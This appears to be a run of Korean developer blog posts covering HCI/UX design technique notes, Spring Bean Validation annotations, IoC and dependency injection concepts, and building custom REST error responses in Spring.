Design Techniques Contextual Inquiry 사용자의 환경에서 사용자의 행동을 관찰 Design Funnel 아이디어를 확장함과 동시에 축소 시킴으로서 결과 도출 Double Diamond Discover -> Define -> Develop -> Deliver Storyboarding 시나리오를 그림으로 표현 Prototyping 디자인을 표현하는 소프트웨어로 구현 종류: Low-fidelity(충실도가 낮음), High-fidelity(충실도가 높음) User Testing In-lab vs On-site Moderated vs Unmoderated : Exploratory vs Assessment Presentation & Communication Needfinding (요구사항 도출) 용어 UI (User Interface) 제품의 시각적인 요소 UX (User Experience) 제품을 사용하는 사용자가 느끼는 경험 CX (Customer Experience) 고객이 제품을 사용하는 과정에서 느끼는 전반적인 경험, 상품 또는 서비스의 구매, 사용 여부를 결정짓는 요소 SD (Service Design) 서비스를 디자인하는 것 HCI (Human-Computer Interaction) 여러 구성요소를 조합하여 사용자에게 최고의 경험을 제공하기 위해 선택, 제작, 결합하는 것 SRS (Software Requirement Specification) 소프트웨어 요구사항 명세서 User Requirements, Functional Requirements, Interface Requirements, Performance Requirements… SRS를 문서화하기전에 사용자를 이해하는 것이 중요 사용자에 대한 이해 다양한 사용자의 특성을 이해 : 역할, 개성 이해관계자(stakeholders)를 고려 First degree : 직접적으로 제품을 사용하는 사람 Second degree : 제품의 결과에 영향을 받는 사람 Third degree : 서비스를 설치, 배포하는 사람 또는 기반 시스템 사용자 목적 파악 Identify the goals involved in the problem Decompose them into subtasks Abstract into goals Contextual Inquiry (상황적 조사) Context : 사용자의 환경 관찰, 추상화 금지 Partnership : 사용자에게 공감, 사용자에게 행동과 그 이유를 질문 Interpretation : 사용자에 대한 해석을 사용자에게 공유, 사용자의 피드백을 받음 Focus : 목표에 집중 The master-apprentice model (도제식 모델) : 사용자(선생), 관찰자(학생) Contextual Inquiry가 적절하지 않을 때 Longidual study : 사용자의 행동을 장기간 관찰해야할 때 Sporadic behavior : 사용자의 행동이 불규칙할 때 Large target : 사용자의 범위가 광범위 할 때 Diary Study 사용자가 일상적으로 하는 일을 기록하는 것 ESM (Experience Sampling Method) 순간적인 활동과 경험에 초점을 맞춰 기록 EMA (Ecological Momentary Assessment) 심리적 현상의 궤적, 분산, 변동, 역학에 초점을 맞춰 기록 Survey Participatory Design 사용자가 직접 디자인에 참여하는 것 Affinity Diagram (유사도 다이어그램) 수집한 데이터를 분류하는 것 Persona 사용자를 대표하는 가상의 인물 Learnability 새로운 UI를 배우는 방법 Learning by Doing Learning by Watching Recognition vs Recall Recognition : 시각적 요소를 보고 인지하는 것 Recall : 기억을 통해 인지하는 것 Interaction style Command Language 인공 언어의 명령어를 입력 Self Disclosure (자기 공개) : 사용 가능한 명령어를 시각적으로 표현 Menus and Forms Direct Manipulation 즉각적으로 반응 시각적 표현을 통해 상호작용 Speech Dialog Mental Model 사람들이 자기 자신, 다른 사람, 환경, 자신이 상호작용하는 사물들에 대해 갖는 모형 관찰, 인터뷰, 작업 분석이 필요하다 Conceptual Model 제품이 어떠한 원리나 방식으로 작동하는지에 대한 이해 Content strategy : 각 페이지에 나타나는 내용의 규칙이나 개념이 존재하는가? Channel starategy : 일관적인 경험, 지속적인 경험, 상호 보완적인 경험을 만들어내는가? Interaction models : 보편적인 패턴을 사용했는가?

Spring - Bean Validation : Annotation으로 Validation하기

🍃 Spring

Bean Validation Annotation을 달아서 Validation을 수행할 수 있다. 주로 jakarta.validation과 hibernate.validator 두 패키지를 사용한다. Dependency Diagram 구조 spring-boot-starter-validation -> hibernate-validator -> jakarta.validation-api jakarta.validation에서 지원하는 annotation Annotation Description @NotNull null이 아닌가 ("", " " => 통과) @NotEmpty null이 아니고, size가 0인가 (" " => 통과) @NotBlank null이 아니고, trim한 결과가 empty인가 @Size 문자열, 배열의 길이가 해당 범위에 있는가 @Min 숫자가 해당 범위에 있는가 @Max 숫자가 해당 범위에 있는가 @Email 이메일 형식에 맞는가 @Pattern Regex(정규식)에 맞는가 @Past 과거의 날짜인가 @Future 미래의 날짜인가 @Digits 정수, 소수 자릿수가 해당 범위에 있는가 @DecimalMin, @DecimalMax 자릿수가 해당 범위에 있는가 (소수 이하 자릿수 포함) @Positive, @PositiveOrZero, @Negative, @NegativeOrZero hibernate.validator에서 지원하는 annotation Annotation Description @Range 숫자가 해당 범위에 있는가 (소수 이하 자릿수 포함) @Length 문자열, 배열의 길이가 해당 범위에 있는가 @URL URL 형식에 맞는가 언급한 Annotation말고 다른 Annotation도 있다. Rest Controller에서 사용 Controller 1public ResponseEntity<Customer> postCustomer(@RequestBody @Valid CustomerDTO customerDTO) {...} @Valid Annotation을 붙여서 CustomerDTO 객체에 대한 Validation을 수행한다 @Valid Annotation을 붙이는 것을 깜빡하지 말자 예외 처리 위 코드의 Validation에서 실패하면, MethodArgumentNotValidException이 발생한다 해당 예외는 필드별 모든 에러를 담고 있다 그대로 반환하면 엄청 길기 때문에, 보통 아래 코드와 같이 필요한 정보만 추출해서 반환한다 1processValidationErrors(MethodArgumentNotValidException e) { 2 List<String> errors = e.getBindingResult().getFieldErrors().stream() 3 .map(error -> error.getField() + ": " + error.getDefaultMessage()) 4 .collect(Collectors.toList()); 5 return new ResponseEntity<>(errors, HttpStatus.BAD_REQUEST); 6} 수동 Validation Controller에서 Validation을 수행하지 못하는 경우, 수동으로 Validation을 수행할 수 있다 이때, Validator 객체를 주입받아서 사용한다 1import jakarta.validation.Validator; 2... 3@Autowired 4private Validator validator; 5... 6var violations = validator.validate(voucher); 7if (!violations.isEmpty()) 8 throw new IllegalArgumentException(violations.stream().findFirst().get().getMessage()); 코드에서는 voucher 객체에 대한 Validation을 수행하고, 발생한 에러가 있다면 IllegalArgumentException을 발생시킨다

DDD(Domain Driven Design)

🍃 Spring

도메인 패턴을 중심으로 설계하는 방법론 IOC 객체의 제어권을 개발자가 아닌 프레임워크 또는 외부 컨테이너에게 넘기는 것 목적 객체 간 결합도를 감소 -> 유연성, 재사용성 증가 구현하는 기법 DI(Dependency Injection) Constructor Injection Setter Injection Field Injection DL(Dependency Lookup) Service Locator Event-based callback DI(Dependency Injection) 객체 간의 의존 관계를 객체 자신이 아닌 외부에서 주입하는 것 장점 객체 간 결합도 감소 테스트 용이성 증가 객체의 책임이 명확하고 단순함 단점 초기 설정, 구현이 복잡함 객체 생성 시점에 의존 객체가 없으면 에러 발생 DL(Dependency Lookup) 객체 간의 의존 관계를 객체 자신이 아닌 외부에서 찾아오는 것 장점 객체 간 결합도 감소 (DI보다 덜 감소) 객체 생성 시점에 의존 객체가 없어도 에러 발생하지 않음 구현이 간단함 단점 객체의 책임이 불명확해짐 테스트 용이성 감소 객체 간의 의존 관계 파악이 어려움

Spring - RESTful API에서 내맘대로 에러 응답하기

🍃 Spring

1. 클래스 정의 1@Getter 2@RequiredArgsConstructor 3public class ExceptionResponse { 4 private final LocalDateTime timestamp = LocalDateTime.now(); // 2023-08-01T00:00:57.5995502 5 private final int status; // 400 6 private final String error; // MethodArumentNotValidException 7 private final String message; // 이메일 형식이 아닙니다 8 private final String path; // /api/customer 9} 내가 원하는 방식대로 클래스를 정의한다, 주석에는 해당 필드의 예시를 적어놓았다 2. ResponseEntity 만드는 함수 정의 1private ResponseEntity<ExceptionResponse> handleException(HttpStatus status, Exception e, HttpServletRequest request) { 2 ExceptionResponse response = new ExceptionResponse( 3 status.value(), e.getClass().getSimpleName(), e.getMessage(), request.getRequestURI()); 4 return new ResponseEntity<>(response, status); 5} 예외 처리할 때마다 ExceptionResponse 객체를 만들면 반복되는 코드가 많이 생겨 함수로 만들었다 예외가 발생한 상황에 따라서 HttpStatus를 다르게 지정할 수 있도록 함수의 인자로 받았다 3. 예외 처리 1@ExceptionHandler(NoSuchElementException.class) 2public ResponseEntity<ExceptionResponse> handleNoSuchElementException(NoSuchElementException e, HttpServletRequest request) { 3 return handleException(HttpStatus.NOT_FOUND, e, request); 4} 본 함수는 @RestControllerAdvice가 붙은 클래스에 정의되었다 직접 정의한 함수를 호출해서 ResponseEntity를 만들어 반환한다 정리 위의 예시는 NoSuchElementException이 발생했을 때, HTTP 상태코드는 404, body는 내가 정의한대로 응답하는 코드이다 REST Api에서 일관성있고 간결한 응답을 보내기 위해 한번 정리해보았다